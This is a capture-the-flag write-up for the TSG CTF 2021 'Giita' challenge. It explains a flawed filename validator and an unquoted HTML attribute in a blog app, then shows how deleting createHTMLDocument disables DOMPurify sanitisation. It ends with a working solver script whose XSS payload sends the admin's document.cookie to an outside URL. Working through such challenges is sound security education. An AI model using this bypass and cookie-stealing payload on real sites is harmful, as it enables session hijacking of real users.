# TSG CTF 2021 Giita Writeup
## Challenge Summary
![](https://i.imgur.com/iAak14c.png)
You can create blog post. It is accepting an arbitrary HTML, but it is correctly escaped and sanitized by DOMPurify.
```javascript=
const body = document.getElementById('body');
body.innerHTML = DOMPurify.sanitize(body.textContent);
hljs.highlightAll();
```
The goal is to obtain the cookie of admin.
## Solution
There are two bugs in this app.
### theme validation
The theme parameter is validated by `validateFilename` function. It seems to be filtering all characters except whitespaces or alphanumeric characters, but a dumb logical error exists and it accepts one invalid character in the argument.
```javascript=
private validateFilename(input: string) {
let isInvalid = false;
for (const char of Array.from(input)) {
if (!char.match(/[\w\s.]/)) {
if (isInvalid) {
return false;
}
isInvalid = true;
}
}
return true;
}
public async POST() {
const theme = this.getParam('theme');
// omitted
if (!theme || !title || !body || !this.validateFilename(theme)) {
this.response.status_code = 400;
this.response.body = 'Bad Request';
return this.response;
}
// omitted
}
```
### theme parameter Mis-quoting
The `theme` parameter goes to HTML template and injected into stylesheet link.
There should be quotation around it, but it is missing.
```htmlembedded=
<% if (it.theme) { %>
<link rel="stylesheet" href=<%= it.theme %>>
<% } %>
```
### Attack
With these restrictions, you can inject an arbitrary attribute into link element, but only once. Like this:
```htmlembedded=
<!-- theme=x%20onerror%3Dalert -->
<link rel="stylesheet" href=x onerror=alert>
```
So, what we should do here is to write JavaScript code with only alphanumeric characters... But it is really helpless. We have to cheat DOMPurify.
Find that [DOMPurify skips purification](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L1193-L1208) when it is in unsupported environment (why?).
DOMPurify checks whether it is supported environment by `DOMPurify.isSupported` property. It is detected by [checking several properties in DOM](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L156-L160). By taking a look at it, you can abuse it by turning `implementation.createHTMLDocument = undefined`.
You can use prototype pollution to access this inner property. The final payload script will be like the following.
```javascript=
delete document.implementation.__proto__.createHTMLDocument
```
Finally, U+00A0 (NBSP) is not included in [HTML whitespace](https://infra.spec.whatwg.org/#ascii-whitespace), but included in [JavaScript whitespace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#white_space). So the final solver will be like this.
```javascript=
axios({
method: 'post',
url: `https://${host}:${port}/`,
headers: {
'content-type': 'application/x-www-form-urlencoded',
},
data: qs.encode({
theme: 'x onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ',
title: 'x',
body: `<img src="x" onerror="location.href = '${url}?' + document.cookie">`,
}),
});
```